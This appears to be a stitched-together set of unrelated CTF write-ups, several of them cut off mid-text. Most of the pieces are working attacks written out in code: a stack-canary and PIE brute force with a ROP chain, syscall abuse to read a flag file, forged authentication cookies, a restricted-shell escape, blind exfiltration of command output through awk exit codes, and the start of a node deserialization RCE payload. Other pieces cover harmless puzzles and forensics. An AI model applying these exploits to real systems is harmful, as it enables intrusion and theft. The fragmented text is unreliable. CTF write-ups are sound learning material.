Lastly the canary. The least significant x86_64 canary byte is `0x00`. Only 7 bytes to go. :-)
### First Pass: Brute-force stack canary
```pythonfor i in range(7): for j in x: p = remote(server,port) p.recvuntil('[q] QUIT') payload = buf + canary + p8(j) p.send(payload) try: p.recvuntil('[q] QUIT') canary += p8(j) print(hex(u64(canary + (8 - len(canary)) * b'\x00'))) p.close() break except: continue else: print("FAILED, you prob got a LF (0xa) in canary") sys.exit(1)
canary = u64(canary)print('canary',hex(canary))```
For each of the remaining 7 canary bytes, loop through all the candidate bytes and test if the remote child gets terminated or if returned back to the menu. If returned back to menu, then that canary byte has been detected.
Locally this takes seconds. Remotely about 5-10 minutes.
### Second Pass: Brute-force process address LSBytes
```pythonbp = 8 * b'B'selectimg = 0xe06
for i in range(16): p = remote(server,port) p.recvuntil('[q] QUIT') payload = buf + p64(canary) + bp + p16(selectimg + i * 0x1000) print(hex(selectimg + i * 0x1000)) p.send(payload) try: p.recvuntil('[q] QUIT') p.close() break except: continueelse: print("FAILED, no base for you") sys.exit(1)
procbase = selectimg + i * 0x1000print('procbase | 0xffff',hex(procbase))procbase = p16(procbase)```
This one is quick. Only 16 nibbles to try.
The last three nibbles of any function do not change. The `selectImg` function address ends in `0xe06`; this can be observed from the disassembly. The 4th nibble however is a mystery, and is governed by PIE/ASLR.
The payload in this case will brute-force the 4th nibble by overwriting just the two LSBytes of the return address. If unsuccessful, the child will mostly likely segfault, however if successful, code execution will _return_ to the top of `selectImg`. This can be detected by receiving the menu again.
### Third Pass: Brute-force entire process address
```pythonfor i in range(4): for j in x: p = remote(server,port) p.recvuntil('[q] QUIT') payload = buf + p64(canary) + bp + procbase + p8(j) p.send(payload) try: p.recvuntil('[q] QUIT') procbase += p8(j) print(hex(u64(procbase + (8 - len(procbase)) * b'\x00'))) p.close() break except: continue else: print("FAILED, you prob got an LF (0xa) in stack") sys.exit(1)
procbase = u64(procbase + b'\x00\x00') - binary.symbols['selectImg']print('procbase',hex(procbase))binary.address = procbase```
x86_64 address are 48-bits (today). With the lower 16-bits in hand, brute-forcing the remaining four bytes is next.
The loop above is almost identical to the canary step. When complete the process base address can be computed.
At this point, control of RIP has been obtained.
### Final Pass: ROP call `printFile` to get the flag
```pythoncontext.update(arch='amd64')rop = ROP([binary])try: pop_rsi_r15 = rop.find_gadget(['pop rsi','pop r15','ret'])[0]except: print("no ROP for you!") sys.exit(1)
context.log_level = 'INFO'
p = remote(server,port)p.recvuntil('[q] QUIT')
payload = buf + p64(canary) + bppayload += p64(pop_rsi_r15)payload += p64(next(binary.search(b'./flag.txt')))payload += p64(0x0)payload += p64(binary.symbols['printFile'])
p.send(payload)p.stream()```
`printFile` requires two parameters, a socket number (RDI), and pointer to a filename (RSI). The socket number is unknown, however it is already in RDI thanks to `send(param_1,"Invalid option!\n",0x10,0);` (you can check this with GDB yourself).
Since we do not know the address of libc, we'll have to make do with `ripe_reader` for ROP gadgets--`pop rsi; pop r15; ret` will work nicely.
`ripe_reader` provides the string `./flag.txt`.
We'll throw a big fat zero to R15.
All this left is to `printFile` `flag.txt`.
Output:
```bash# time ./exploit.py two.jh2i.com 50023[*] '/pwd/datajerk/nahamconctf2020/ripe_reader/ripe_reader' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled0x4d000x924d000x50924d000xc850924d000x11c850924d000x9f11c850924d000xc19f11c850924d00canary 0xc19f11c850924d000xe060x1e060x2e060x3e060x4e060x5e060x6e060x7e060x8e06procbase | 0xffff 0x8e060x3a8e060xff3a8e060xd0ff3a8e060x55d0ff3a8e06procbase 0x55d0ff3a8000[+] Opening connection to two.jh2i.com on port 50023: Done
Invalid option!flag{should_make_an_ascii_flag_image}
real 10m43.063suser 0m3.230ssys 0m0.923s```
Times of other runs: _15m50.392s_, _12m27.560s_, _10m52.456s_
## But... what if `./flag.txt` was not in the binary?
In that case, we'd have to leak a stack address and then put `./flag.txt` on the stack. See [exploit2.py](exploit2.py) for an implementation.
There are a few challenges with leaking the saved base pointer (rdp):
1. Brute-forcing _what-will-be-popped_ into `rdp` on `leave` may not fail as quickly as brute-forcing the canary or return address. In the later cases the connection is dropped quickly, for a quicker check, whereas a corrupted `rdp` may not crash the program--a timeout may need to be used to detect failure.2. The length of the timeout. Locally 0.1 seconds worked consistently. Remotely with 0.5 seconds only 1 of 3 tests passed.3. Many `ripe_reader` runaway processes is a byproduct of this bruce-force, slowing down the challenge server.
There's one last issue that I've not had the time to analyze yet. The distance from stack leak (rbp) to the start of the input buffer is either 68 or 176 depending on the value of the least sigificant nibble; if `0`, then the distance is 176, otherwise 68. IIRC, the nibble was either `0` or `4`, I do not recall, in any tests, any other value. Checking all my results, the probably of a `0` was 75%.
Output:
```bash# time ./exploit2.py two.jh2i.com 50023[*] '/pwd/datajerk/nahamconctf2020/ripe_reader/ripe_reader' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled0x66000xbb66000xe5bb66000x59e5bb66000x3c59e5bb66000x283c59e5bb66000x8b283c59e5bb6600canary 0x8b283c59e5bb66000x300xb5300xdbb5300x24dbb5300xfe24dbb5300x7ffe24dbb530rbp 0x7ffe24dbb5300xe060x1e06procbase | 0xffff 0x1e060xfc1e060x5afc1e060x605afc1e060x55605afc1e06procbase 0x55605afc1000buf 0x7ffe24dbb480[+] Opening connection to two.jh2i.com on port 50023: Done
Invalid option!flag{should_make_an_ascii_flag_image}
real 27m25.714suser 0m4.633ssys 0m1.342s``` |
Homecooked was in the Cryptography category, but it was actually an optimization challenge.
The file attached with the challenge is a python file known as decrypt.py.After running the decrypt file, it outputs the following character by character and then executes indefinitely```flag{pR1m3s_4```which is part of the flag.This indicates that this file itself is the decrypt file and it will output our flag, but in indefinite amount of time.
The code of the decrypt.py file was```import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
Reverse Engineering the challenge and reimplementing the program in an optimized way was, I guess, was the intended solution.
The way i solved the challenge is by looking at the code a bit and optimizing that code itself.
When we open the file in a text editor, we see that it is not much code just 40 lines of code.
Lets start to understand the code:
It first base64 decodes the cipher_b64 and creates the list out of it which is```['100', '111', '100', '96', '112', '21', '209', '166', '216', '140', '330', '318', '321', '70221', '70414', '70544', '71414', '71810', '72211', '72827', '73000', '73319', '73722', '74088', '74643', '75542', '1002903', '1008094', '1022089', '1028104', '1035337', '1043448', '1055587', '1062541', '1065715', '1074749', '1082844', '1085696', '1092966', '1094000']```
Starting from the bottom, we see a while loop which runs for 40 times so we can assume that the length of the flag is 40 characters.
```while(count < len(cipher)): if (a(num)): if (b(num)):```
Inside the while loop there is are two nested if statements which calls function **a** and **b** and expects a true value to execute it, if any of the value returned, either from function a or b, is false then it will not go inside if and jump to else which is just pass and then increments the num variable``` else: pass num+=1```The function **a** takes a number as an argument and checks if it is a prime``` for i in range(2,num): if (num % i) == 0: # checks for prime numbers numbers returns false if not a prime number return False break return True
```
Function **b** takes a number (which is prime) and checks if its a palindrome (i.e. if the number is same if read in reverse, example 111, 10101).``` my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): # checks if its a palindrome return True```
The *slowness* of the program is due to the increment of the **num** variable on 13th and 26th iteration.
So, in a nutshell, the program takes a number, first checks if its prime and then checks if its a palindrome.
The weakness lies here that it first checks for prime and then for palindrome.
To optimize it we can first check for palindrome and then for prime because it has to check for palindromic primes, and the prime checking function **a** takes a lot of time.
**The Solution** is just to swap the functions in the if clause, i.e. change a to b and b to a in the while loop's if clause.
After changing it, it takes around 5 seconds to output the flag.
The solution script is ```import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: # checks for prime numbers nos returns false if not a prime number return False break return True else: return False def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): # checks if its a palindrome return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (b(num)): # if number is palindrome, the only change from the original script if (a(num)): # if number is prime print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```And it happily gives us the flag```flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}``` |
# Saas
Final code is at `soln.py`.The binary itself is at `./saas`.Constants for pwntools are obtained using `constant.c`.
Open the binary in Ghidra.After appropriate tinkering with function types and variable renamings, you obtain this C source code:
```cvoid main(void){ int iVar1; long lVar2; undefined8 uVar3; long rax; long rdi; long rsi; long rdx; long r10; long r9; long r8;
setup(); puts("Welcome to syscall-as-a-service!\n"); do { while( true ) { printf("Enter rax (decimal): "); __isoc99_scanf(&scanf_format_ld,&rax;; iVar1 = blacklist(rax); if (iVar1 == 0) break; puts("Sorry syscall is blacklisted\n"); } printf("Enter rdi (decimal): "); __isoc99_scanf(&scanf_format_ld,&rdi;; printf("Enter rsi (decimal): "); __isoc99_scanf(&scanf_format_ld,&rsi;; printf("Enter rdx (decimal): "); __isoc99_scanf(&scanf_format_ld,&rdx;; printf("Enter r10 (decimal): "); __isoc99_scanf(&scanf_format_ld,&r10); printf("Enter r9 (decimal): "); __isoc99_scanf(&scanf_format_ld,&r9;; printf("Enter r8 (decimal): "); uVar3 = 0x101466; __isoc99_scanf(&scanf_format_ld,&r8;; lVar2 = syscall(rax,rdi,rsi,rdx,r10,r8,r9,uVar3); printf("Rax: 0x%lx\n\n",lVar2); } while( true );}
int blacklist(long param_1){ int result; long in_FS_OFFSET; int i; long local_48 [7]; long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28); local_48[0] = 0x3b; /* execve */ local_48[1] = 0x39; /* fork */ local_48[2] = 0x38; /* clone */ local_48[3] = 0x3e; /* kill */ local_48[4] = 0x65; /* ptrace */ local_48[5] = 200; /* tkill */ local_48[6] = 0x142; /* stub_execveat */ i = 0; do { if (6 < (uint)i) { result = 0;LAB_001012e3: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return result; } if (param_1 == local_48[i]) { result = 1; goto LAB_001012e3; } i = i + 1; } while( true );}```
Note that the binary basically allows you to perform any linux syscall except for 7 blacklisted ones.
A list of x64 Linux syscalls and their parameters can be found at https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
An interesting syscall is syscall 158 `sys_arch_prctl`.This syscall allows you to write anywhere in the memory 4 bytes at a time by calling:```carch_prctl(ARCH_SET_GS, value);arch_prctl(ARCH_GET_GS, address);```
Out of pure guesswork, the flag should be located at the same directory as the binary with the file name `flag.txt`
So the idea of the exploit in C is:```cint fd;char flag[255];
fd = openat(AT_FDCWD, "flag.txt", O_RDONLY);read(fd, flag, 255);write(STDOUT_FILENO, flag, 255);```
So the procedure to achieve this is:1. Allocate memory on the heap2. Write `"flag.txt"` to the heap3. Call the `openat` syscall and get the file descriptor number4. Call the `read` syscall to dump the content of the file into the heap5. Call the `write` syscall to dump the content of the heap into stdout
Note that `"flag.txt"` has 9 bytes (null-terminated), so we need to write in 3 steps.
Expressed in terms of syscalls pseudocode:1. `heap = brk(0);`: Obtain the base address of the heap1. `brk(heap + 0x10000)`: Extend the heap by `0x10000` bytes1. `arch_prctl(ARCH_SET_GS, "flag"); arch_prctl(ARCH_GET_GS, heap)`1. `arch_prctl(ARCH_SET_GS, ".txt"); arch_prctl(ARCH_GET_GS, heap + 4)`1. `arch_prctl(ARCH_SET_GS, "\0"); arch_prctl(ARCH_GET_GS, heap + 8)`1. `fd = openat(AT_FDCWD, heap, O_RDONLY)`: open the file and get the file descriptor1. `read(fd, heap, 0xFF)`: Read the content of the file into the heap1. `write(STDOUT_FILENO, heap, 0xFF)`: Print the content of the heap
In the solution, I built abstraction to make a syscall as function `g`, and to write 4 bytes as function `write32` |
Looking at the robots.txt file you'll find the full source code:
```#!/usr/bin/env python3
from flask import ( Flask, render_template, request, abort, redirect, make_response, g, jsonify,)import binasciiimport hashlibimport json
app = Flask(__name__)app.secret_key = open("secret_key", "r").read().strip()FLAG = open("flag.txt", "r").read().strip()
def do_login(user, password, admin):
cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
response = make_response(redirect("/")) response.set_cookie("auth", binascii.hexlify(json.dumps(cookie).encode("utf8")))
return response
@app.route("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)
def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
@app.route("/logout", methods=["GET"])def logout():
response = make_response(redirect("/")) response.set_cookie("auth", "", expires=0) return response
@app.route("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, )
@app.route("/robots.txt")def source(): return "" + open(__file__).read() + ""
if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=1337)```
Now the goal is quite clear. You need to craft a cookie that bypasses the check. Here's my code:
```from flask import ( Flask, render_template, request, abort, redirect, make_response, g, jsonify,)import binasciiimport hashlibimport json
cookie = {"user": 'hacker', "password": 'password', "admin": True}cookie["digest"] = 'hackshackshackshackshackshackshackshackshackshackshackshackshack'print(binascii.hexlify(json.dumps(cookie).encode("utf8")))```
```$ python3 robots.py b'7b2275736572223a20226861636b6572222c202270617373776f7264223a202270617373776f7264222c202261646d696e223a20747275652c2022646967657374223a20226861636b736861636b736861636b736861636b736861636b736861636b736861636b736861636b736861636b736861636b736861636b736861636b736861636b227d'```
Flag: `flag{did_this_even_pass_code_review}` |
# NoobCTF 0x1 2020
Tue, 09 June 2020, 12:30 CEST — Wed, 10 June 2020, 07:30 CEST
## Crypto
### WhatThe#
```My brain can't interpret this, can you?file: cipher.txt```cipher.txt:``` brainfuck----------]<-<---<-------<---------->>>>+[<<<<----------,-,,+++++++++++++,-------------------------,>--------,>------------------,<<+++++++,>-----------------,>----,<<++++++++,-----------,>>,<<--,>>-,<,---,<+++++++,>>+,+++,<<++++,---------------,```
The cipher content is clearly brainfuck instructions and we use https://copy.sh/brainfuck/ to run it, but it doesn't run because there are invalid instructions
``` brainfuck+ and - are swapped> and < are swapped[ and ] are swapped, and . are swapped```The plaintext program is:``` brainfuck++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+..-------------.+++++++++++++++++++++++++.<++++++++.<++++++++++++++++++.>>-------.<+++++++++++++++++.<++++.>>--------.+++++++++++.<<.>>++.<<+.>.+++.>-------.<<-.---.>>----.+++++++++++++++.```
And it write the flag: `noob{N0t_4lw4y5_br41n}`
### BASEd```A Simple Crypto Based Challenge. Combination of 2 bases :)Cipher: 1c@^(9l;sa2c3Ln20_Mf<&&Vs<r```
The cipher seems to be encoded in base 85
With https://gchq.github.io/CyberChef, we put the cipher with filter `From base 85` and get:```46CYMn9K7QSq5xDST1xTW```
The new cipher seems to be encoded in base 64, but it doesn't work, after some try, we find that it is encoded in base 58 and we get:```noob{base58_85}```https://gchq.github.io/CyberChef/#recipe=From_Base85('!-u')From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',true)&input=MWNAXig5bDtzYTJjM0xuMjBfTWY8JiZWczxy
The flag is: `noob{base58_85}`
## Memory Forensic
### Mr. Pr0xy's Gift :)```I have some gifts for you in zip file. Download the file to get it.Good Luck !!! HackersLink: https://www.shortto.com/memdump```
In zip archive, there are two files (`memdump` and `flag.txt`), open `flag.txt` and read flag: `noob{Welcome_To_Memory_Forensic}`
### ##Parent Process##```What is the parent process id of Desktop Windows Manager?file: memdump```
To analyse this memory dump, we will use Volatility (https://github.com/volatilityfoundation/volatility)
First, we find the profile of the memory dump:``` bash> vol -f memdump imageinfoVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/home/tom.rorato/Downloads/image/memdump) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002c420a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002c43d00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2020-06-02 20:02:03 UTC+0000 Image local date and time : 2020-06-02 16:02:03 -0400```We will use the profile `Win7SP1x64`
Then, list all processes running at the time of the memory dump:``` bash> vol -f memdump --profile Win7SP1x64 pslistVolatility Foundation Volatility Framework 2.6.1Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------[...] 0xfffffa8003cb7190 dwm.exe 2512 856 3 70 1 0 2020-06-02 19:41:51 UTC+0000[...]```
The `Desktop Windows Manager` executable is `dwm.exe`, its PID is `2512`, ant the PID of its parent is `856`
So, the flag is `noob{856}`
## Forensic
### It's easy```It's just an imagefile: iameasy.zip```
We open `iameasy.zip` and extract `iameasy.jpg` but we can't open `iameasy.jpg` as image
``` bash> hexdump -C iameasy.jpg | head -n100000000 05 10 19 02 00 10 4a 46 49 46 00 01 01 00 00 48 |......JFIF.....H|```
We can see that the file signature of `iameasy.jpg` correspond to none of files listed in https://en.wikipedia.org/wiki/List_of_file_signatures
So, we change the firsts bytes by the file signature of `jpg` files with a hex editor``` bash> hexdump -C iameasy.jpg | head -n100000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 48 |......JFIF.....H|```
Then, we can correctly open `iameasy.jpg` and read the flag: `noob{1_t0ld_y0u_1ts_34sy}`
## OSINT
### #t4g```#we_are_noobarmy```On twitter, we found one post in hashtasg we_are_noobarmy: https://twitter.com/noobarmy_/status/1270305947718746114:```N00B_4rMY (@noobarmy_)Noobs love 0x3e
1Bs791Hj97cM9rum9ifaUcU9hDPGmUdCf
#we_are_noobarmy```
The flag seems to be encoded in base 64 but in reality it is encoded in base62 lmao:https://gchq.github.io/CyberChef/#recipe=From_Base62('0-9A-Za-z')&input=MUJzNzkxSGo5N2NNOXJ1bTlpZmFVY1U5aERQR21VZENm
The flag is: `noob{B4sE62_4nd_h4shT4g}`
|
# 2020 Defenit CTF - Bad Tumblers>###### tags: `blockchain`>[name=whysw@PLUS]## Attachments- writeup - [solver code](https://gist.github.com/YangSeungWon/c0441468c4d25a8487f3bd8a8737d8e1/sol.py)
Attachments are uploaded on [gist](https://gist.github.com/YangSeungWon/c0441468c4d25a8487f3bd8a8737d8e1).
## Challenge
```[Precondition]0. Hundreds of wallets contain about 5 ether (tumbler)0. Hackers steal more than 400 ethers through hacking per exchange0. Hacker commissions ethereum tumbler to tumbling 400 ether from his wallet0. After tracking the hacking accident that reported by exchange A, we confirmed that it was withdrawn to the hacker wallet of exchange C.0. After checking the amount withdrawn from the wallet of exchange C, it seems that it was not the only exchange(exchange A) that was robbed.0. Therefore, it is a problem to find a hacker wallet of some exchange(in this chall, it will be exchange B). So, we should find clues to track the hacker.
[Description]Hacker succeeded in hacking and seizing cryptocurrency, Ethereum! Hacker succeeded in withdraw Ethereum by mixing & tumbling. What we know is the account of the hacker of exchange A which reported the hacking and exchange C which hacker withdrew money. In addition to Exchange A, there is another exchange that has been hacked. Track hackers to find out the bad hacker's wallet address on another exchange!
* Please refer to attached concept map* In this challenge, all address is on ropsten network* Please ignore fauset address (or assume it is an exchange's wallet)* exchange A, hacker's address : 0x5149Aa7Ef0d343e785663a87cC16b7e38F7029b2* exchange C, hacker's address : 0x2Fd3F2701ad9654c1Dd15EE16C5dB29eBBc80Ddf* flag format is 0xEXCHANGE_B_HACKER_CHECKSUM_ADDRESS Defenit{0x[a-zA-Z0-9]}```
## Solution### Get Transaction DataIn https://ropsten.etherscan.io/, we can see all ethereum accounts and transactions on ropsten network.
So I saw hacker's account in exchange A.https://ropsten.etherscan.io/address/0x5149Aa7Ef0d343e785663a87cC16b7e38F7029b2
At first, it gets 5ETH from faucet address(which the author make us ignore).After that, it get money from the accounts of victims.
Then it goes to tumbler network.
So I decided to follow transactions of this account, and find all related accounts.
Unfortunately, I didn't know that ethscan provides API :crying_cat_face: This is my crawler.```python=import sysimport cfscrapeimport re
def parseData(data): ret = "" regex = re.compile("<tr>.*?(?P<from>0x.{40})<.*?(?P<to>0x.{40}).*?</tr>",re.MULTILINE) matchedAll = regex.findall(data) for matched in matchedAll: ret += matched[0] ret += " " ret += matched[1] ret += "\n" return ret
def getTXs(address): TXs = "" for i in range(10): scraper = cfscrape.create_scraper() res = scraper.get(f'https://ropsten.etherscan.io/txs?ps=100&p={i+1}&a={address}').content TXs += parseData(res.decode('utf-8')) return TXs
assert(len(sys.argv) == 2)
with open(sys.argv[1].lower() + ".csv", "w") as f: f.write(getTXs(sys.argv[1]))```Now I can parse Transaction Data.
---### it's time to Travel!I saved TX datas in sub folder and reused that.#### 1. Distinguish FaucetIf you reach faucet address, then you should stop your travel since it has so many transactions to explore, which has no meaning.I filtered faucet account by checking if the number of TXs is larger than 1,000.#### 2. Distinguish Hacker's AccountThe Hacker's account initially receives a large amount of deposit from victims. So I checked if there is a countinuous deposit at first.
---### Solver```python:sol.py=import sysimport osimport cfscrapeimport re
def isCalculated(address): return os.path.isfile(f"./data/{address}.csv")
def parseData(data): ret = "" regex = re.compile("<tr>.*?(?P<from>0x.{40})<.*?(?P<to>0x.{40}).*?</tr>",re.MULTILINE) matchedAll = regex.findall(data) for matched in matchedAll: ret += matched[0] ret += " " ret += matched[1] ret += "\n" return ret
def getTXs(address): TXs = "" for i in range(10): scraper = cfscrape.create_scraper() res = scraper.get(f'https://ropsten.etherscan.io/txs?ps=100&p={i+1}&a={address}').content if res == None: break TXs += parseData(res.decode('utf-8')) return TXs
def writeTXs(address): if isCalculated(address): return True with open(f"data/{address}.csv", "w") as f: data = "" while data == "": data = getTXs(address) f.write(data) if len(data)/86 == 10*100: print("more than 1000 TX??? may be faucet") return False return True
def find(address): global visited address = address.lower() visited.append(address) print(f"trying to find TXs related to {address}...") if not writeTXs(address): # may be faucet return with open(f"data/{address}.csv", "r") as f: alldata = f.readlines()
if checkMainAcc(address, alldata): print("Important Account! maybe hacker's main one...") sys.exit()
for line in alldata: data = line.strip().split(" ") _from = data[0] _to = data[1] if _from == address and _to not in visited: find(_to) elif _to != sys.argv[1].lower() and _to == address and _from not in visited: find(_from)
def checkMainAcc(address, data): if address == sys.argv[1].lower(): # account A return False for i, line in enumerate(reversed(data)): # from the end(past in time) if line.strip().split(" ")[1] == address: # if it's deposit pass elif i < 50: return False # less than 50 deposits at first else: return True # more than 50 deposits at first return False
assert(len(sys.argv) == 2) # get account A's address by sys.argv[1]
visited = []find(sys.argv[1])```
output :```trying to find TXs related to 0x5149aa7ef0d343e785663a87cc16b7e38f7029b2...trying to find TXs related to 0xf34bd0333333ed358964fd7ef04047daeae62ee6...trying to find TXs related to 0xc06e1b1deaf684143de564d9bcc9e9f19609c5b1...trying to find TXs related to 0xd634026e25128f6c4316223b8f606213497b39ef...```...```trying to find TXs related to 0xd25be7b3c3008e3508f1cbfc0880585561938d43...trying to find TXs related to 0x1fc64526d77d079f7c8f6680d0b88b6046663949...trying to find TXs related to 0x4c5e179bbc6d393affb72018f9bba4b3cee6de65...Important Account! maybe hacker's main one...```
FLAG : `Defenit{0x4c5E179bBc6D393AffB72018f9bba4b3Cee6dE65}` |
-After connecting and running cat flag.txt, the shell errors out with `/bin/rbash: line 4: cat: command not found` . Investigating shows that this is something called Restricted Shell, which doesn’t allow you to do a whole bunch of things.
-Typing help shows the builtin commands, which is helpful to scan when you’re out of ideas. The echo command caught my eye.
-Sure enough, more searching led me to [this StackOverflow post](https://stackoverflow.com/questions/22377792/how-to-use-echo-command-to-print-out-content-of-a-text-file) detailing how to read a file: `echo "$( |
# Reading Between the Lines
### main.c
The code for main.c is given and the indentation's are `an absolute mess` as said in the brief
Although I spent a fair amount of time trying to compile the code and run I eventually went for a new approach
The flag was in fact hidden in the indentations and spaces as binary
### I then wrote a python script to extract all of the codes and create the flag
```pythonFile = open("main.c","r").readlines() # Open the file
strippedFile = []
for line in File: newline = line.strip() if newline != "": strippedFile.append(line)
strippedFile = "".join(strippedFile)
# This removes all the lines which are only newlines
binary = ""
for char in strippedFile: if char == "\t": # Tabs are 1's binary += "1" if char == " ": # Spaces are 0's binary += "0" if char == "\n": # New lines are spaces binary += " "
flag = binary.split() # Separate the binary into an array
for binary in flag: print(chr(int(binary,2)), end="") # Convert each binary number to decimal and then to its ascii form
print()```
```$ python3 extract.py ractf{R34d1ngBetw33nChar4ct3r5}``` |
## Problem
When we open this problem we are presented with a command input that isdefinitely running bash, but all of our commands are not returning any stdoutor stderr. When we run a command, we only get the exit code.
```text~ » nc jh2i.com 50025ls -la0... Well this is awkward...```
It is also good to note that the challenge hints at using awk for thischallenge, but this is not the intended solution `:p`.
## Solution
For the solution I decided to take use of one major functionality in awk,the ability to set error codes.
I also found a way to convert a character to it's ASCII int value.
Combining these together with python, I run a command and then get the firstchar and set that as the exit code. Then the next char. Then the next char,etc.
```pythonimport socc #https://github.com/f3rn0s/socc
s = socc.socc("jh2i.com", 50025)
def gen_commands(command, line): commands = [] for offset in range(0, 100): commands.append( # This defines a function ord # awk 'BEGIN{for(n=0;n<256;n++)ord[sprintf("%c", n)]=n}
# This takes 1 character, starting at index 1, and sets that as the # exit code #awk 'FNR == 1{exit(ord[substr($0, 1, 1)])}' command + "| awk 'BEGIN{for(n=0;n<256;n++)ord[sprintf(" + '"%c"' + ",n)]=n}FNR == " + str(line) + "{exit(ord[substr($0, " + str(offset) + ", 1)])}'" ) return commands
for line in range(0, 15): #Guess how many lines there will be for command in gen_commands("ls -l", line): s.send(command) return_int = int(s.recv().split("...")[0])
#If there is a null byte, we end our line and start the next one if return_int != 0: print(chr(return_int), end='') else: print() break``` |
# Seriously
## Description
Web site store.Users could add items to card. Items stores in cookie in following format:```cart=eyJpdGVtcyI6eyIwIjp7Im5hbWUiOiJEcmFjYWVuYSB0cmlmYXNjaWF0YSIsInByaWNlIjoxNC45OSwiY291bnQiOjF9fX0%3D```It's decodes to:```{"items":{"0":{"name":"Dracaena trifasciata","price":14.99,"count":1}}}```
## Solution
```GET /cart HTTP/1.1Host: three.jh2i.com:50007User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://three.jh2i.com:50007/item/Lemon%20treeConnection: closeCookie: cart=<@urlencode_all_0><@base64_1>{"rce":"_$$ND_FUNC$$_function() 